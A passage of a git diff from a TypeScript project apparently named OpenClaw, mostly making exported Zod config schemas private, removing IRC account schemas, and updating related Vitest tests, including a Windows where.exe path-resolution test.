- expect(result.message).toBe("Invalid input"); - }); - }); -}); diff --git a/src/config/validation.ts b/src/config/validation.ts index 84855baee7a1..e20b81552494 100644 --- a/src/config/validation.ts +++ b/src/config/validation.ts @@ -935,11 +935,6 @@ function resolveExplicitPluginReferencePath( } return undefined; } - -export const testing = { - mapZodIssueToConfigIssue, -}; - function isWorkspaceAvatarPath(value: string, workspaceDir: string): boolean { const workspaceRoot = path.resolve(workspaceDir); const resolved = path.resolve(workspaceRoot, value); @@ -2127,4 +2122,3 @@ function validateConfigObjectWithPluginsBase( return { ok: true, config: mutatedConfig, warnings }; } -export { testing as __testing }; diff --git a/src/config/version.test.ts b/src/config/version.test.ts index 01b0f713f03c..7532a4b191c0 100644 --- a/src/config/version.test.ts +++ b/src/config/version.test.ts @@ -1,49 +1,6 @@ // Verifies config version handling and future-version guards. import { describe, expect, it } from "vitest"; -import { - compareOpenClawVersions, - isSameOpenClawStableFamily, - parseOpenClawVersion, - shouldWarnOnTouchedVersion, -} from "./version.js"; - -describe("parseOpenClawVersion", () => { - it("parses stable, correction, and beta forms", () => { - expect(parseOpenClawVersion("2026.3.23")).toEqual({ - major: 2026, - minor: 3, - patch: 23, - revision: null, - prerelease: null, - }); - expect(parseOpenClawVersion("2026.3.23-1")).toEqual({ - major: 2026, - minor: 3, - patch: 23, - revision: 1, - prerelease: null, - }); - expect(parseOpenClawVersion("2026.3.23-beta.1")).toEqual({ - major: 2026, - minor: 3, - patch: 23, - revision: null, - prerelease: ["beta", "1"], - }); - expect(parseOpenClawVersion("v2026.3.23.beta.2")).toEqual({ - major: 2026, - minor: 3, - patch: 23, - revision: null, - prerelease: ["beta", "2"], - }); - }); - - it("rejects invalid versions", () => { - expect(parseOpenClawVersion("2026.3")).toBeNull(); - expect(parseOpenClawVersion("latest")).toBeNull(); - }); -}); +import { compareOpenClawVersions, shouldWarnOnTouchedVersion } from "./version.js"; describe("compareOpenClawVersions", () => { it("treats correction publishes as newer than the base stable release", () => { @@ -60,15 +17,6 @@ describe("compareOpenClawVersions", () => { }); }); -describe("isSameOpenClawStableFamily", () => { - it("treats same-base stable and correction versions as one family", () => { - expect(isSameOpenClawStableFamily("2026.3.23", "2026.3.23-1")).toBe(true); - expect(isSameOpenClawStableFamily("2026.3.23-1", "2026.3.23-2")).toBe(true); - expect(isSameOpenClawStableFamily("2026.3.23", "2026.3.24")).toBe(false); - expect(isSameOpenClawStableFamily("2026.3.23-beta.1", "2026.3.23")).toBe(false); - }); -}); - describe("shouldWarnOnTouchedVersion", () => { it("skips same-base stable families", () => { expect(shouldWarnOnTouchedVersion("2026.3.23", "2026.3.23-1")).toBe(false); diff --git a/src/config/version.ts b/src/config/version.ts index d3b12270aadd..d975355a5b67 100644 --- a/src/config/version.ts +++ b/src/config/version.ts @@ -11,7 +11,7 @@ type OpenClawVersion = { }; /** Parses stable, prerelease, and legacy dot-beta OpenClaw versions. */ -export function parseOpenClawVersion(raw: string | null | undefined): OpenClawVersion | null { +function parseOpenClawVersion(raw: string | null | undefined): OpenClawVersion | null { if (!raw) { return null; } @@ -44,7 +44,7 @@ export function normalizeOpenClawVersionBase(raw: string | null | undefined): st return `${parsed.major}.${parsed.minor}.${parsed.patch}`; } -export function isSameOpenClawStableFamily( +function isSameOpenClawStableFamily( a: string | null | undefined, b: string | null | undefined, ): boolean { diff --git a/src/config/zod-schema.agent-runtime.ts b/src/config/zod-schema.agent-runtime.ts index b3f68e570231..c4c9891af1f5 100644 --- a/src/config/zod-schema.agent-runtime.ts +++ b/src/config/zod-schema.agent-runtime.ts @@ -1014,7 +1014,7 @@ const AgentRuntimeSchema = z ]) .optional(); -export const AgentRuntimePolicySchema = z +const AgentRuntimePolicySchema = z .object({ id: z.string().optional(), }) diff --git a/src/config/zod-schema.agents.ts b/src/config/zod-schema.agents.ts index 06bd647915fe..2e446484aac1 100644 --- a/src/config/zod-schema.agents.ts +++ b/src/config/zod-schema.agents.ts @@ -89,7 +89,7 @@ const AcpBindingSchema = z export const BindingsSchema = z.array(z.union([RouteBindingSchema, AcpBindingSchema])).optional(); -export const BroadcastStrategySchema = z.enum(["parallel", "sequential"]); +const BroadcastStrategySchema = z.enum(["parallel", "sequential"]); export const BroadcastSchema = z .object({ diff --git a/src/config/zod-schema.core.ts b/src/config/zod-schema.core.ts index c7fc69a11522..5b2ed463380a 100644 --- a/src/config/zod-schema.core.ts +++ b/src/config/zod-schema.core.ts @@ -250,17 +250,12 @@ const ModelCompatSchema = z }) .strict() .optional(); - -type AssertAssignable<_T extends U, U> = true; -export type _ModelCompatSchemaAssignableToType = AssertAssignable< - z.infer, - ModelCompatConfig | undefined ->; -export type _ModelCompatTypeAssignableToSchema = AssertAssignable< - ModelCompatConfig | undefined, - z.infer ->; - +type AssertAssignable<_Left extends _Right, _Right> = true; +const modelCompatSchemaContract: [ + AssertAssignable, ModelCompatConfig | undefined>, + AssertAssignable>, +] = [] as never; +void modelCompatSchemaContract; const ConfiguredProviderRequestTlsSchema = z .object({ ca: SecretInputSchema.optional().register(sensitive), @@ -603,7 +598,7 @@ export const VisibleRepliesSchema = z return value; }); -export const MentionPatternsModeSchema = z.union([z.literal("allow"), z.literal("deny")]); +const MentionPatternsModeSchema = z.union([z.literal("allow"), z.literal("deny")]); export const MentionPatternsPolicySchema = z .object({ @@ -714,7 +709,7 @@ export const BlockStreamingChunkSchema = z }) .strict(); -export const MarkdownTableModeSchema = z.enum(["off", "bullets", "code", "block"]); +const MarkdownTableModeSchema = z.enum(["off", "bullets", "code", "block"]); export const MarkdownConfigSchema = z .object({ @@ -877,7 +872,7 @@ export const CliBackendSchema = z }) .strict(); -export const normalizeAllowFrom = (values?: Array): string[] => +const normalizeAllowFrom = (values?: Array): string[] => normalizeStringEntries(values); /** @@ -1115,17 +1110,18 @@ export const ToolsMediaSchema = z }) .strict() .optional(); - type ToolsMediaConfigFromSchema = NonNullable>; -export type _ToolsMediaAsyncCompletionSchemaAssignableToType = AssertAssignable< - ToolsMediaConfigFromSchema["asyncCompletion"], - MediaToolsConfig["asyncCompletion"] ->; -export type _ToolsMediaAsyncCompletionTypeAssignableToSchema = AssertAssignable< - MediaToolsConfig["asyncCompletion"], - ToolsMediaConfigFromSchema["asyncCompletion"] ->; - +const toolsMediaAsyncCompletionSchemaContract: [ + AssertAssignable< + ToolsMediaConfigFromSchema["asyncCompletion"], + MediaToolsConfig["asyncCompletion"] + >, + AssertAssignable< + MediaToolsConfig["asyncCompletion"], + ToolsMediaConfigFromSchema["asyncCompletion"] + >, +] = [] as never; +void toolsMediaAsyncCompletionSchemaContract; const LinkModelSchema = z .object({ type: z.literal("cli").optional(), diff --git a/src/config/zod-schema.locale.test.ts b/src/config/zod-schema.locale.test.ts index bc6e66022eb5..45dbb5059e8a 100644 --- a/src/config/zod-schema.locale.test.ts +++ b/src/config/zod-schema.locale.test.ts @@ -1,37 +1,41 @@ -import { afterEach, describe, expect, it } from "vitest"; -import { z } from "zod"; -import { installZodDefaultLocale, OpenClawSchema } from "./zod-schema.js"; +import { afterEach, describe, expect, it, vi } from "vitest"; -function firstIssueMessage(result: z.ZodSafeParseResult): string { +function firstIssueMessage(result: { + success: boolean; + error?: { issues: Array<{ message: string }> }; +}): string { if (result.success) { throw new Error("expected parse failure"); } - return result.error.issues[0]?.message ?? ""; + return result.error?.issues[0]?.message ?? ""; } -describe("installZodDefaultLocale", () => { - const previousLocaleError = z.config().localeError; - +describe("zod default locale", () => { afterEach(() => { - z.config({ localeError: previousLocaleError }); + vi.resetModules(); }); - it("restores real issue messages when the bundled locale registration was tree-shaken", () => { - // Simulate a built dist: zod@4 is sideEffects:false, so the classic - // entry's implicit config(en()) call is dropped and no locale is set. - z.config({ localeError: undefined }); - const degraded = OpenClawSchema.safeParse({ - agents: { defaults: { session: { pruneAfter: "1d" } } }, - }); - expect(firstIssueMessage(degraded)).toBe("Invalid input"); + it("restores real issue messages when the bundled locale registration was tree-shaken", async () => { + vi.resetModules(); + const { z } = await import("zod"); + const previousLocaleError = z.config().localeError; - installZodDefaultLocale(); + try { + // Simulate a built dist: zod@4 is sideEffects:false, so its implicit + // locale registration can be dropped by bundling. + z.config({ localeError: undefined }); + const degraded = z.object({ expected: z.string() }).strict().safeParse({ unexpected: true }); + expect(firstIssueMessage(degraded)).toBe("Invalid input"); - const restored = OpenClawSchema.safeParse({ - agents: { defaults: { session: { pruneAfter: "1d" } } }, - }); - expect(firstIssueMessage(restored)).toBe('Unrecognized key: "session"'); - const typeError = OpenClawSchema.safeParse({ gateway: { port: "not-a-number" } }); - expect(firstIssueMessage(typeError)).toBe("Invalid input: expected number, received string"); + const { OpenClawSchema } = await import("./zod-schema.js"); + const restored = OpenClawSchema.safeParse({ + agents: { defaults: { session: { pruneAfter: "1d" } } }, + }); + expect(firstIssueMessage(restored)).toBe('Unrecognized key: "session"'); + const typeError = OpenClawSchema.safeParse({ gateway: { port: "not-a-number" } }); + expect(firstIssueMessage(typeError)).toBe("Invalid input: expected number, received string"); + } finally { + z.config({ localeError: previousLocaleError }); + } }); }); diff --git a/src/config/zod-schema.markdown-tables.test.ts b/src/config/zod-schema.markdown-tables.test.ts index 627f0f30dbeb..b92cd9d58f37 100644 --- a/src/config/zod-schema.markdown-tables.test.ts +++ b/src/config/zod-schema.markdown-tables.test.ts @@ -1,14 +1,14 @@ // Verifies markdown table config schema parsing and defaults. import { describe, expect, it } from "vitest"; -import { MarkdownTableModeSchema } from "./zod-schema.core.js"; +import { MarkdownConfigSchema } from "./zod-schema.core.js"; -describe("MarkdownTableModeSchema", () => { +describe("MarkdownConfigSchema tables", () => { it("accepts block mode", () => { - expect(MarkdownTableModeSchema.parse("block")).toBe("block"); + expect(MarkdownConfigSchema.parse({ tables: "block" })).toEqual({ tables: "block" }); }); it("rejects unsupported values", () => { - const result = MarkdownTableModeSchema.safeParse("plain"); + const result = MarkdownConfigSchema.safeParse({ tables: "plain" }); expect(result.success).toBe(false); if (result.success) { diff --git a/src/config/zod-schema.providers-core.ts b/src/config/zod-schema.providers-core.ts index c305ac463a4a..796861016b4f 100644 --- a/src/config/zod-schema.providers-core.ts +++ b/src/config/zod-schema.providers-core.ts @@ -146,7 +146,7 @@ const TelegramCustomCommandConfig = { pattern: TelegramCommandNamePattern, patternDescription: "use a-z, 0-9, underscore; max 32 chars", } as const; -export const TelegramTopicSchema = z +const TelegramTopicSchema = z .object({ requireMention: z.boolean().optional(), ingest: z.boolean().optional(), @@ -162,7 +162,7 @@ export const TelegramTopicSchema = z }) .strict(); -export const TelegramGroupSchema = z +const TelegramGroupSchema = z .object({ requireMention: z.boolean().optional(), ingest: z.boolean().optional(), @@ -192,7 +192,7 @@ const AutoTopicLabelSchema = z ]) .optional(); -export const TelegramDirectSchema = z +const TelegramDirectSchema = z .object({ dmPolicy: DmPolicySchema.optional(), tools: ToolPolicySchema, @@ -238,7 +238,7 @@ const validateTelegramCustomCommands = ( } }; -export const TelegramAccountSchemaBase = z +const TelegramAccountSchemaBase = z .object({ name: z.string().optional(), capabilities: TelegramCapabilitiesSchema.optional(), @@ -385,7 +385,7 @@ export const TelegramAccountSchemaBase = z }) .strict(); -export const TelegramAccountSchema = TelegramAccountSchemaBase.superRefine((value, ctx) => { +const TelegramAccountSchema = TelegramAccountSchemaBase.superRefine((value, ctx) => { // Account-level schemas skip allowFrom validation because accounts inherit // allowFrom from the parent channel config at runtime (resolveTelegramAccount // shallow-merges top-level and account values in src/telegram/accounts.ts). @@ -476,7 +476,7 @@ export const TelegramConfigSchema = TelegramAccountSchemaBase.extend({ validateTelegramWebhookSecretRequirements(value, ctx); }); -export const DiscordDmSchema = z +const DiscordDmSchema = z .object({ enabled: z.boolean().optional(), policy: DmPolicySchema.optional(), @@ -486,13 +486,13 @@ export const DiscordDmSchema = z }) .strict(); -export const DiscordThreadSchema = z +const DiscordThreadSchema = z .object({ inheritParent: z.boolean().optional(), }) .strict(); -export const DiscordGuildChannelSchema = z +const DiscordGuildChannelSchema = z .object({ requireMention: z.boolean().optional(), ignoreOtherMentions: z.boolean().optional(), @@ -520,7 +520,7 @@ export const DiscordGuildChannelSchema = z }) .strict(); -export const DiscordGuildSchema = z +const DiscordGuildSchema = z .object({ slug: z.string().optional(), requireMention: z.boolean().optional(), @@ -630,7 +630,7 @@ const DiscordVoiceSchema = z .strict() .optional(); -export const DiscordAccountSchema = z +const DiscordAccountSchema = z .object({ name: z.string().optional(), capabilities: z.array(z.string()).optional(), @@ -896,7 +896,7 @@ export const DiscordConfigSchema = DiscordAccountSchema.extend({ } }); -export const SlackDmSchema = z +const SlackDmSchema = z .object({ enabled: z.boolean().optional(), policy: DmPolicySchema.optional(), @@ -907,7 +907,7 @@ export const SlackDmSchema = z }) .strict(); -export const SlackChannelSchema = z +const SlackChannelSchema = z .object({ enabled: z.boolean().optional(), requireMention: z.boolean().optional(), @@ -923,7 +923,7 @@ export const SlackChannelSchema = z }) .strict(); -export const SlackThreadSchema = z +const SlackThreadSchema = z .object({ historyScope: z.enum(["thread", "channel"]).optional(), inheritParent: z.boolean().optional(), @@ -947,7 +947,7 @@ const DirectGroupReplyToModeByChatTypeSchema = z }) .strict(); -export const SlackSocketModeSchema = z +const SlackSocketModeSchema = z .object({ clientPingTimeout: z.number().int().positive().optional(), serverPingTimeout: z.number().int().positive().optional(), @@ -955,7 +955,7 @@ export const SlackSocketModeSchema = z }) .strict(); -export const SlackRelaySchema = z +const SlackRelaySchema = z .object({ url: z.string().optional(), authToken: SecretInputSchema.optional().register(sensitive), @@ -963,7 +963,7 @@ export const SlackRelaySchema = z }) .strict(); -export const SlackAccountSchema = z +const SlackAccountSchema = z .object({ name: z.string().optional(), mode: z.enum(["socket", "http", "relay"]).optional(), @@ -1171,7 +1171,7 @@ const SignalGroupEntrySchema = z const SignalGroupsSchema = z.record(z.string(), SignalGroupEntrySchema.optional()).optional(); -export const SignalAccountSchemaBase = z +const SignalAccountSchemaBase = z .object({ name: z.string().optional(), capabilities: z.array(z.string()).optional(), @@ -1272,141 +1272,6 @@ export const SignalConfigSchema = SignalAccountSchemaBase.extend({ }); } }); - -export const IrcGroupSchema = z - .object({ - requireMention: z.boolean().optional(), - tools: ToolPolicySchema, - toolsBySender: ToolPolicyBySenderSchema, - skills: z.array(z.string()).optional(), - enabled: z.boolean().optional(), - allowFrom: z.array(z.union([z.string(), z.number()])).optional(), - systemPrompt: z.string().optional(), - }) - .strict(); - -export const IrcNickServSchema = z - .object({ - enabled: z.boolean().optional(), - service: z.string().optional(), - password: SecretInputSchema.optional().register(sensitive), - passwordFile: z.string().optional(), - register: z.boolean().optional(), - registerEmail: z.string().optional(), - }) - .strict(); - -export const IrcAccountSchemaBase = z - .object({ - name: z.string().optional(), - capabilities: z.array(z.string()).optional(), - markdown: MarkdownConfigSchema, - enabled: z.boolean().optional(), - configWrites: z.boolean().optional(), - host: z.string().optional(), - port: z.number().int().min(1).max(65535).optional(), - tls: z.boolean().optional(), - nick: z.string().optional(), - username: z.string().optional(), - realname: z.string().optional(), - password: SecretInputSchema.optional().register(sensitive), - passwordFile: z.string().optional(), - nickserv: IrcNickServSchema.optional(), - channels: z.array(z.string()).optional(), - dmPolicy: DmPolicySchema.optional().default("pairing"), - allowFrom: z.array(z.union([z.string(), z.number()])).optional(), - defaultTo: z.string().optional(), - groupAllowFrom: z.array(z.union([z.string(), z.number()])).optional(), - groupPolicy: GroupPolicySchema.optional().default("allowlist"), - contextVisibility: ContextVisibilityModeSchema.optional(), - groups: z.record(z.string(), IrcGroupSchema.optional()).optional(), - mentionPatterns: z.array(z.string()).optional(), - historyLimit: z.number().int().min(0).optional(), - dmHistoryLimit: z.number().int().min(0).optional(), - dms: z.record(z.string(), DmConfigSchema.optional()).optional(), - textChunkLimit: z.number().int().positive().optional(), - streaming: ChannelDeliveryStreamingConfigSchema.optional(), - mediaMaxMb: z.number().positive().optional(), - heartbeat: ChannelHeartbeatVisibilitySchema, - healthMonitor: ChannelHealthMonitorSchema, - responsePrefix: z.string().optional(), - }) - .strict(); - -type IrcBaseConfig = z.infer; - -function refineIrcAllowFromAndNickserv(value: IrcBaseConfig, ctx: z.RefinementCtx): void { - requireOpenAllowFrom({ - policy: value.dmPolicy, - allowFrom: value.allowFrom, - ctx, - path: ["allowFrom"], - message: 'channels.irc.dmPolicy="open" requires channels.irc.allowFrom to include "*"', - }); - requireAllowlistAllowFrom({ - policy: value.dmPolicy, - allowFrom: value.allowFrom, - ctx, - path: ["allowFrom"], - message: - 'channels.irc.dmPolicy="allowlist" requires channels.irc.allowFrom to contain at least one sender ID', - }); - if (value.nickserv?.register && !value.nickserv.registerEmail?.trim()) { - ctx.addIssue({ - code: z.ZodIssueCode.custom, - path: ["nickserv", "registerEmail"], - message: "channels.irc.nickserv.register=true requires channels.irc.nickserv.registerEmail", - }); - } -} - -// Account-level schemas skip allowFrom validation because accounts inherit -// allowFrom from the parent channel config at runtime. -// Validation is enforced at the top-level IrcConfigSchema instead. -export const IrcAccountSchema = IrcAccountSchemaBase.superRefine((value, ctx) => { - // Only validate nickserv at account level, not allowFrom (inherited from parent). - if (value.nickserv?.register && !value.nickserv.registerEmail?.trim()) { - ctx.addIssue({ - code: z.ZodIssueCode.custom, - path: ["nickserv", "registerEmail"], - message: "channels.irc.nickserv.register=true requires channels.irc.nickserv.registerEmail", - }); - } -}); - -export const IrcConfigSchema = IrcAccountSchemaBase.extend({ - accounts: z.record(z.string(), IrcAccountSchema.optional()).optional(), - defaultAccount: z.string().optional(), -}).superRefine((value, ctx) => { - refineIrcAllowFromAndNickserv(value, ctx); - if (!value.accounts) { - return; - } - for (const [accountId, account] of Object.entries(value.accounts)) { - if (!account) { - continue; - } - const effectivePolicy = account.dmPolicy ?? value.dmPolicy; - const effectiveAllowFrom = account.allowFrom ?? value.allowFrom; - requireOpenAllowFrom({ - policy: effectivePolicy, - allowFrom: effectiveAllowFrom, - ctx, - path: ["accounts", accountId, "allowFrom"], - message: - 'channels.irc.accounts.*.dmPolicy="open" requires channels.irc.accounts.*.allowFrom (or channels.irc.allowFrom) to include "*"', - }); - requireAllowlistAllowFrom({ - policy: effectivePolicy, - allowFrom: effectiveAllowFrom, - ctx, - path: ["accounts", accountId, "allowFrom"], - message: - 'channels.irc.accounts.*.dmPolicy="allowlist" requires channels.irc.accounts.*.allowFrom (or channels.irc.allowFrom) to contain at least one sender ID', - }); - } -}); - const IMessageActionSchema = z .object({ reactions: z.boolean().optional(), @@ -1425,7 +1290,7 @@ const IMessageActionSchema = z .strict() .optional(); -export const IMessageAccountSchemaBase = z +const IMessageAccountSchemaBase = z .object({ name: z.string().optional(), capabilities: z.array(z.string()).optional(), @@ -1546,7 +1411,7 @@ export const IMessageConfigSchema = IMessageAccountSchemaBase.extend({ } }); -export const MSTeamsChannelSchema = z +const MSTeamsChannelSchema = z .object({ requireMention: z.boolean().optional(), tools: ToolPolicySchema, @@ -1555,7 +1420,7 @@ export const MSTeamsChannelSchema = z }) .strict(); -export const MSTeamsTeamSchema = z +const MSTeamsTeamSchema = z .object({ requireMention: z.boolean().optional(), tools: ToolPolicySchema, diff --git a/src/config/zod-schema.providers-googlechat.ts b/src/config/zod-schema.providers-googlechat.ts index fc1318437a47..2f43d5ad483c 100644 --- a/src/config/zod-schema.providers-googlechat.ts +++ b/src/config/zod-schema.providers-googlechat.ts @@ -15,7 +15,7 @@ import { import { sensitive } from "./zod-schema.sensitive.js"; /** DM policy schema for Google Chat accounts. */ -export const GoogleChatDmSchema = z +const GoogleChatDmSchema = z .object({ enabled: z.boolean().optional(), policy: DmPolicySchema.optional().default("pairing"), @@ -41,7 +41,7 @@ export const GoogleChatDmSchema = z }); }); -export const GoogleChatGroupSchema = z +const GoogleChatGroupSchema = z .object({ enabled: z.boolean().optional(), requireMention: z.boolean().optional(), @@ -51,7 +51,7 @@ export const GoogleChatGroupSchema = z }) .strict(); -export const GoogleChatAccountSchema = z +const GoogleChatAccountSchema = z .object({ name: z.string().optional(), capabilities: z.array(z.string()).optional(), diff --git a/src/config/zod-schema.providers-whatsapp.test.ts b/src/config/zod-schema.providers-whatsapp.test.ts index 6fe8eb78e57e..0acc1666bc06 100644 --- a/src/config/zod-schema.providers-whatsapp.test.ts +++ b/src/config/zod-schema.providers-whatsapp.test.ts @@ -1,6 +1,6 @@ // Verifies WhatsApp provider schema parsing and defaults. import { describe, it, expect } from "vitest"; -import { WhatsAppConfigSchema, WhatsAppAccountSchema } from "./zod-schema.providers-whatsapp.js"; +import { WhatsAppConfigSchema } from "./zod-schema.providers-whatsapp.js"; describe("WhatsApp prompt config Zod validation", () => { it("validates group-level systemPrompt", () => { @@ -73,31 +73,6 @@ describe("WhatsApp prompt config Zod validation", () => { } }); - it("validates WhatsAppAccountSchema directly", () => { - const accountConfig = { - name: "Personal Account", - groups: { - "family@g.us": { - systemPrompt: "Keep responses family-friendly", - }, - }, - direct: { - "+15557654321": { - systemPrompt: "Keep responses concise", - }, - }, - }; - - const result = WhatsAppAccountSchema.safeParse(accountConfig); - expect(result.success).toBe(true); - if (result.success) { - expect(result.data.groups?.["family@g.us"]?.systemPrompt).toBe( - "Keep responses family-friendly", - ); - expect(result.data.direct?.["+15557654321"]?.systemPrompt).toBe("Keep responses concise"); - } - }); - it("accepts deprecated exposeErrorText as a no-op compatibility key", () => { const result = WhatsAppConfigSchema.safeParse({ exposeErrorText: false, diff --git a/src/config/zod-schema.providers-whatsapp.ts b/src/config/zod-schema.providers-whatsapp.ts index 548e84a3564d..00c7eb04e196 100644 --- a/src/config/zod-schema.providers-whatsapp.ts +++ b/src/config/zod-schema.providers-whatsapp.ts @@ -162,7 +162,7 @@ const WhatsAppAccountObjectSchema = z }) .strict(); -export const WhatsAppAccountSchema = z.preprocess( +const WhatsAppAccountSchema = z.preprocess( stripDeprecatedWhatsAppNoopKeys, WhatsAppAccountObjectSchema, ); diff --git a/src/config/zod-schema.proxy.ts b/src/config/zod-schema.proxy.ts index 9f7309204f73..57171f721747 100644 --- a/src/config/zod-schema.proxy.ts +++ b/src/config/zod-schema.proxy.ts @@ -3,7 +3,7 @@ import { isHttpUrl } from "@openclaw/net-policy/url-protocol"; import { z } from "zod"; import { sensitive } from "./zod-schema.sensitive.js"; -export const ProxyLoopbackModeSchema = z.enum(["gateway-only", "proxy", "block"]); +const ProxyLoopbackModeSchema = z.enum(["gateway-only", "proxy", "block"]); const ProxyTlsConfigSchema = z .object({ diff --git a/src/config/zod-schema.ts b/src/config/zod-schema.ts index 468075221f4b..5324cbc0f7d2 100644 --- a/src/config/zod-schema.ts +++ b/src/config/zod-schema.ts @@ -41,7 +41,7 @@ import { // built dist renders every issue as the bare "Invalid input" fallback. Register // the locale explicitly where the config schemas live; zod stores it on // globalThis, so one call covers every zod parse in the process. -export function installZodDefaultLocale(): void { +function installZodDefaultLocale(): void { z.config(z.locales.en()); } installZodDefaultLocale(); @@ -378,7 +378,7 @@ const TalkSchema = z } }); -export const McpServerSchema = z +const McpServerSchema = z .object({ enabled: z.boolean().optional(), command: z.string().optional(), diff --git a/src/cron/service.every-jobs-fire.test.ts b/src/cron/service.every-jobs-fire.test.ts index 384b6547a677..8c3c33fb806d 100644 --- a/src/cron/service.every-jobs-fire.test.ts +++ b/src/cron/service.every-jobs-fire.test.ts @@ -3,7 +3,6 @@ import { describe, expect, it, vi } from "vitest"; import { getGatewaySuspendStatus, prepareGatewaySuspend, - resetGatewaySuspendCoordinatorForTest, } from "../infra/gateway-suspend-coordinator.js"; import { beginGatewayRestartSignalAdmission, @@ -184,7 +183,6 @@ describe("CronService interval/cron jobs fire on time", () => { storePath: store.storePath, logger, }); - resetGatewaySuspendCoordinatorForTest(); resetGatewayWorkAdmission(); try { @@ -221,7 +219,6 @@ describe("CronService interval/cron jobs fire on time", () => { expectMainSystemEvent(enqueueSystemEvent, "recovered-tick", job.id); } finally { cron.stop(); - resetGatewaySuspendCoordinatorForTest(); resetGatewayWorkAdmission(); await store.cleanup(); } diff --git a/src/daemon/program-args.test.ts b/src/daemon/program-args.test.ts index 985b3e3db5fb..3426d5be7677 100644 --- a/src/daemon/program-args.test.ts +++ b/src/daemon/program-args.test.ts @@ -1,6 +1,9 @@ // Daemon program argument tests cover CLI argument construction for services. import path from "node:path"; import { afterEach, describe, expect, it, vi } from "vitest"; +import { withMockedWindowsPlatform } from "../test-utils/vitest-spies.js"; + +const execFileSyncMock = vi.hoisted(() => vi.fn()); const fsMocks = vi.hoisted(() => ({ access: vi.fn(), @@ -24,12 +27,19 @@ vi.mock("node:fs/promises", async () => { }; }); +vi.mock("node:child_process", async () => { + const actual = await vi.importActual("node:child_process"); + return { ...actual, execFileSync: execFileSyncMock }; +}); + import { resolveGatewayProgramArguments, resolveNodeProgramArguments } from "./program-args.js"; const originalArgv = [...process.argv]; +const originalExecPath = process.execPath; afterEach(() => { process.argv = [...originalArgv]; + process.execPath = originalExecPath; vi.resetAllMocks(); vi.unstubAllEnvs(); }); @@ -170,6 +180,42 @@ describe("resolveGatewayProgramArguments", () => { expect(result.workingDirectory).toBe(path.resolve("/repo")); }); + it("uses trusted Windows where.exe when resolving the Node runtime", async () => { + const repoIndexPath = path.resolve("/repo/src/index.ts"); + const repoEntryPath = path.resolve("/repo/src/entry.ts"); + const launcherPath = String.raw`D:\OpenClaw\openclaw.exe`; + process.argv = [launcherPath, repoIndexPath]; + process.execPath = launcherPath; + vi.stubEnv("SystemRoot", String.raw`D:\Windows`); + fsMocks.realpath.mockResolvedValue(repoIndexPath); + fsMocks.access.mockResolvedValue(undefined); + execFileSyncMock.mockReturnValue(String.raw`D:\Tools\node.exe` + "\r\n"); + + let result: Awaited> | undefined; + await withMockedWindowsPlatform(async () => { + result = await resolveGatewayProgramArguments({ + dev: true, + port: 18789, + runtime: "node", + }); + }); + + expect(execFileSyncMock).toHaveBeenCalledWith( + path.win32.join(String.raw`D:\Windows`, "System32", "where.exe"), + ["node"], + { encoding: "utf8" }, + ); + expect(result?.programArguments).toEqual([ + String.raw`D:\Tools\node.exe`, + "--import", + "tsx", + repoEntryPath, + "gateway", + "--port", + "18789", + ]); + }); + it("uses an executable wrapper when provided", async () => { const wrapperPath = path.resolve("/usr/local/bin/openclaw-doppler"); fsMocks.stat.mockResolvedValue({ isFile: () => true } as never); diff --git a/src/gateway/gateway-misc.test.ts b/src/gateway/gateway-misc.test.ts index 735367a4fcb3..779a8ce49d64 100644 --- a/src/gateway/gateway-misc.test.ts +++ b/src/gateway/gateway-misc.test.ts @@ -13,7 +13,6 @@ import { type DiagnosticEventPayload, } from "../infra/diagnostic-events.js"; import { - resetActiveManagedProxyStateForTests, registerActiveManagedProxyUrl, stopActiveManagedProxyRegistration, } from "../infra/net/proxy/active-proxy-state.js"; @@ -81,7 +80,6 @@ describe("GatewayClient", () => { beforeEach(() => { wsMockState.last = null; - resetActiveManagedProxyStateForTests(); delete process.env["NO_PROXY"]; delete process.env["no_proxy"]; delete process.env["HTTP_PROXY"]; diff --git a/src/gateway/gateway.test.ts b/src/gateway/gateway.test.ts index 2b9aaecd83cd..a4ca53fe1a68 100644 --- a/src/gateway/gateway.test.ts +++ b/src/gateway/gateway.test.ts @@ -15,7 +15,7 @@ import { resetConfigOverrides, setConfigOverride } from "../config/runtime-overr import { clearSessionStoreCacheForTest } from "../config/sessions/store.js"; import type { GatewayAuthConfig, GatewayTailscaleConfig } from "../config/types.gateway.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { resetAgentRunContextForTest } from "../infra/agent-events.js"; +import { resetAgentEventsForTest } from "../infra/agent-events.js"; import { clearGatewaySubagentRuntime } from "../plugins/runtime/gateway-bindings.test-fixtures.js"; import { captureEnv, deleteTestEnvValue, setTestEnvValue } from "../test-utils/env.js"; import { startGatewayServer } from "./server.js"; @@ -173,7 +173,7 @@ function resetGatewayTestState(): void { clearRuntimeConfigSnapshot(); clearConfigCache(); clearSessionStoreCacheForTest(); - resetAgentRunContextForTest(); + resetAgentEventsForTest({ preserveListeners: true }); clearGatewaySubagentRuntime(); } diff --git a/src/gateway/server-chat.agent-events.test.ts b/src/gateway/server-chat.agent-events.test.ts index 581965be1bb7..7e7bbc48c2a5 100644 --- a/src/gateway/server-chat.agent-events.test.ts +++ b/src/gateway/server-chat.agent-events.test.ts @@ -14,7 +14,7 @@ import { onAgentRuntimeEvent, registerAgentRunContext, releaseAgentRunContext, - resetAgentRunContextForTest, + resetAgentEventsForTest, } from "../infra/agent-events.js"; const persistGatewaySessionLifecycleEventMock = vi.fn(); @@ -74,6 +74,7 @@ import { loadSessionEntry } from "./session-utils.js"; describe("agent event handler", () => { beforeEach(() => { + resetAgentEventsForTest({ preserveListeners: true }); vi.mocked(getRuntimeConfig).mockReturnValue({}); vi.mocked(resolveHeartbeatVisibility).mockReturnValue({ showOk: false, @@ -94,12 +95,11 @@ describe("agent event handler", () => { vi.mocked(loadGatewaySessionRow).mockReset().mockReturnValue(null); persistGatewaySessionLifecycleEventMock.mockReset().mockResolvedValue(undefined); logErrorMock.mockReset(); - resetAgentRunContextForTest(); }); afterEach(() => { vi.useRealTimers(); - resetAgentRunContextForTest(); + resetAgentEventsForTest({ preserveListeners: true }); }); function createHarness(params?: { @@ -1663,7 +1663,6 @@ describe("agent event handler", () => { const toolCallOrder = broadcastToConnIds.mock.invocationCallOrder[0] ?? Number.MAX_SAFE_INTEGER; expect(flushCallOrder).toBeLessThan(toolCallOrder); nowSpy.mockRestore(); - resetAgentRunContextForTest(); }); it("routes tool events only to registered recipients when verbose is enabled", () => { @@ -1684,7 +1683,6 @@ describe("agent event handler", () => { expect(broadcast).not.toHaveBeenCalled(); expect(broadcastToConnIds).toHaveBeenCalledTimes(1); - resetAgentRunContextForTest(); }); 